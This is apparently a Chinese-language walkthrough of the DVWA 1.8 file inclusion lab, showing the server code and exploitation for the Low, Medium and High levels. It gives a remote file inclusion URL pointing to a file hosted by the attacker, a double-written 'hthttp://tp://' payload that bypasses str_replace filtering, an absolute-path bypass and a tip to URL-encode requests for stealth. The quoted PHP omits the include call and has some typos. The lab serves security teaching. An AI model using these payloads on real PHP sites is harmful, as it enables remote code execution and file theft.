DVWA1.8全级别之文件包含

File Inclusion

File Inclusion，意思是文件包含（漏洞），是指当服务器开启allow_url_include选项时，就可以通过php的某些特性函数（include()，require()和include_once()，require_once()）利用url去动态包含文件，此时如果没有对文件来源进行严格审查，就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞，远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项（选项开启之后，服务器允许包含一个远程的文件）。

LOW

服务器端核心代码

 <?php

    $file = $_GET['page']; //The page we wish to display 

?>

可以看到，服务器端对page参数没有做任何的过滤跟检查。需要特别说明的是，服务器包含文件时，不管文件后缀是否是php，都会尝试当做php文件执行，如果文件内容确为php，则会正常执行并返回结果，如果不是，则会原封不动地打印文件内容，所以文件包含漏洞常常会导致任意文件读取与任意命令执行。

漏洞利用

1.本地文件包含
2.远程文件包含
在kali上开启apache2服务器，上传一个文件，然后构造url:
http://192.168.153.130/dvwa/vulnerabilities/fi/page=http://192.168.5.12/xxx.txt
为了增加隐蔽性，可以进行url编码

Medium

服务器端核心代码

 <?php

    $file = $_GET['page']; // The page we wish to display 

    // Bad input validation
    $file = str_replace("http://", "", $file);
    $file = str_replace("https://", "", $file);      
    $file=str_replace(array("../","..\""),"",$file);  


?>

可以看到，Medium级别的代码增加了str_replace函数，对page参数进行了一定的处理，将”http:// ”、”https://”、” …/”、”…\”替换为空字符，即删除。

漏洞利用

使用str_replace函数是极其不安全的，因为可以使用双写绕过替换规则。
例如page=hthttp://tp://192.168.5.12/phpinfo.txt时，str_replace函数会将http://删除，于是page=http://192.168.5.12/phpinfo.txt，成功执行远程命令。
同时，因为替换的只是“…/”、“…\”，所以对采用绝对路径的方式包含文件是不会受到任何限制的。
同样是两种包含方式，只要利用上面的绕过规则即可。

High

服务器端核心代码

 <?php
        
    $file = $_GET['page']; //The page we wish to display 

    // Only allow include.php
    if ( $file != "include.php" ) {
        echo "ERROR: File not found!";
        exit;
    }
        
?>

可以看到，high级别的代码使用了白名单机制进行防护，简单粗暴，page参数必须为“include.php”，彻底杜绝了文件包含漏洞。